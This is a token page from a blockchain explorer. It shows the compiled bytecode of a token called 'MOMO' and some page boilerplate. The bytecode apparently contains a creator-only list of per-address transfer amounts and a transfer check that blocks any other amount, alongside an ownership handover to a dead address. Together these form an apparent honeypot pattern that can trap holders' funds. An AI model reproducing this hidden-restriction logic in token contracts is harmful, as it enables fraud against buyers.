fffffffffffff1681526020019081526020016000206000828254610a109190611cb1565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a74919061157b565b60405180910390a360019150509392505050565b610a906111c6565b73ffffffffffffffffffffffffffffffffffffffff16610aae610e08565b73ffffffffffffffffffffffffffffffffffffffff1614610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb906117ba565b60405180910390fd5b60005b83839050811015610b90578160036000868685818110610b2a57610b2961186c565b5b9050602002016020810190610b3f91906116db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610b8890611985565b915050610b07565b50505050565b60006012905090565b601281565b6012600a610bb29190611b00565b623d0900610bc09190611b4b565b81565b610bcb6111c6565b73ffffffffffffffffffffffffffffffffffffffff16610be9610764565b73ffffffffffffffffffffffffffffffffffffffff1614610c3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3690611d8b565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f2e7a15f9b81baf1ce20ddf406f35b22e54608ada95c1cf5ee5221da0d0ccb76a60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d076111c6565b73ffffffffffffffffffffffffffffffffffffffff16610d25610764565b73ffffffffffffffffffffffffffffffffffffffff1614610d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7290611d8b565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600481526020017f4d4f4d4f00000000000000000000000000000000000000000000000000000000815250905090565b60008160026000610ec76111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3a90611e1d565b60405180910390fd5b6000610f55610f506111c6565b610e32565b90506000811115610fa357808314610fa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9990611c91565b60405180910390fd5b5b8260026000610fb06111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ff99190611cb1565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461104f9190611ce5565b925050819055508373ffffffffffffffffffffffffffffffffffffffff166110756111c6565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110ba919061157b565b60405180910390a3600191505092915050565b6040518060400160405280600481526020017f4d4f4d4f0000000000000000000000000000000000000000000000000000000081525081565b6040518060400160405280600481526020017f4d4f4d4f0000000000000000000000000000000000000000000000000000000081525081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611230826111e7565b810181811067ffffffffffffffff8211171561124f5761124e6111f8565b5b80604052505050565b60006112626111ce565b905061126e8282611227565b919050565b600067ffffffffffffffff82111561128e5761128d6111f8565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112cf826112a4565b9050919050565b6112df816112c4565b81146112ea57600080fd5b50565b6000813590506112fc816112d6565b92915050565b600061131561131084611273565b611258565b905080838252602082019050602084028301858111156113385761133761129f565b5b835b81811015611361578061134d88826112ed565b84526020840193505060208101905061133a565b5050509392505050565b600082601f8301126113805761137f6111e2565b5b8135611390848260208601611302565b91505092915050565b6000819050919050565b6113ac81611399565b81146113b757600080fd5b50565b6000813590506113c9816113a3565b92915050565b600080604083850312156113e6576113e56111d8565b5b600083013567ffffffffffffffff811115611404576114036111dd565b5b6114108582860161136b565b9250506020611421858286016113ba565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561146557808201518184015260208101905061144a565b60008484015250505050565b600061147c8261142b565b6114868185611436565b9350611496818560208601611447565b61149f816111e7565b840191505092915050565b600060208201905081810360008301526114c48184611471565b905092915050565b600080604083850312156114e3576114e26111d8565b5b60006114f1858286016112ed565b9250506020611502858286016113ba565b9150509250929050565b60008115159050919050565b6115218161150c565b82525050565b600060208201905061153c6000830184611518565b92915050565b61154b816112c4565b82525050565b60006020820190506115666000830184611542565b92915050565b61157581611399565b82525050565b6000602082019050611590600083018461156c565b92915050565b6000806000606084860312156115af576115ae6111d8565b5b60006115bd868287016112ed565b93505060206115ce868287016112ed565b92505060406115df868287016113ba565b9150509250925092565b600080fd5b60008083601f840112611604576116036111e2565b5b8235905067ffffffffffffffff811115611621576116206115e9565b5b60208301915083602082028301111561163d5761163c61129f565b5b9250929050565b60008060006040848603121561165d5761165c6111d8565b5b600084013567ffffffffffffffff81111561167b5761167a6111dd565b5b611687868287016115ee565b9350935050602061169a868287016113ba565b9150509250925092565b600060ff82169050919050565b6116ba816116a4565b82525050565b60006020820190506116d560008301846116b1565b92915050565b6000602082840312156116f1576116f06111d8565b5b60006116ff848285016112ed565b91505092915050565b6000806040838503121561171f5761171e6111d8565b5b600061172d858286016112ed565b925050602061173e858286016112ed565b9150509250929050565b7f4e6f7443726561746f723a204f7065726174696f6e20616c6c6f776564206f6e60008201527f6c7920666f722063726561746f72000000000000000000000000000000000000602082015250565b60006117a4602e83611436565b91506117af82611748565b604082019050919050565b600060208201905081810360008301526117d381611797565b9050919050565b7f4572726f723a206465736972656420616d6f756e74206d757374206265206e6f60008201527f6e2d6e6567617469766500000000000000000000000000000000000000000000602082015250565b6000611836602a83611436565b9150611841826117da565b604082019050919050565b6000602082019050818103600083015261186581611829565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4572726f723a20757365722061646472657373206d757374206e6f742062652060008201527f7a65726f20616464726573730000000000000000000000000000000000000000602082015250565b60006118f7602c83611436565b91506119028261189b565b604082019050919050565b60006020820190508181036000830152611926816118ea565b9050919050565b6000604082019050611942600083018561156c565b61194f602083018461156c565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061199082611399565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036119c2576119c1611956565b5b600182019050919050565b60008160011c9050919050565b6000808291508390505b6001851115611a2457808604811115611a00576119ff611956565b5b6001851615611a0f5780820291505b8081029050611a1d856119cd565b94506119e4565b94509492505050565b600082611a3d5760019050611af9565b81611a4b5760009050611af9565b8160018114611a615760028114611a6b57611a9a565b6001915050611af9565b60ff841115611a7d57611a7c611956565b5b8360020a915084821115611a9457611a93611956565b5b50611af9565b5060208310610133831016604e8410600b8410161715611acf5782820a905083811115611aca57611ac9611956565b5b611af9565b611adc84848460016119da565b92509050818404811115611af357611af2611956565b5b81810290505b9392505050565b6000611b0b82611399565b9150611b16836116a4565b9250611b437fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611a2d565b905092915050565b6000611b5682611399565b9150611b6183611399565b9250828202611b6f81611399565b91508282048414831517611b8657611b85611956565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611be9602583611436565b9150611bf482611b8d565b604082019050919050565b60006020820190508181036000830152611c1881611bdc565b9050919050565b7f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560008201527f616c20746865206578616374207472616e7366657220616d6f756e7400000000602082015250565b6000611c7b603c83611436565b9150611c8682611c1f565b604082019050919050565b60006020820190508181036000830152611caa81611c6e565b9050919050565b6000611cbc82611399565b9150611cc783611399565b9250828203905081811115611cdf57611cde611956565b5b92915050565b6000611cf082611399565b9150611cfb83611399565b9250828201905080821115611d1357611d12611956565b5b92915050565b7f4e6f744f776e65723a204f7065726174696f6e20616c6c6f776564206f6e6c7960008201527f20666f72206f776e657200000000000000000000000000000000000000000000602082015250565b6000611d75602a83611436565b9150611d8082611d19565b604082019050919050565b60006020820190508181036000830152611da481611d68565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611e07602383611436565b9150611e1282611dab565b604082019050919050565b60006020820190508181036000830152611e3681611dfa565b905091905056fea2646970667358221220b3dbc620792ff134c7bd582ff05c066ec777fa3d9f450238fe6abf62887f005864736f6c63430008110033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.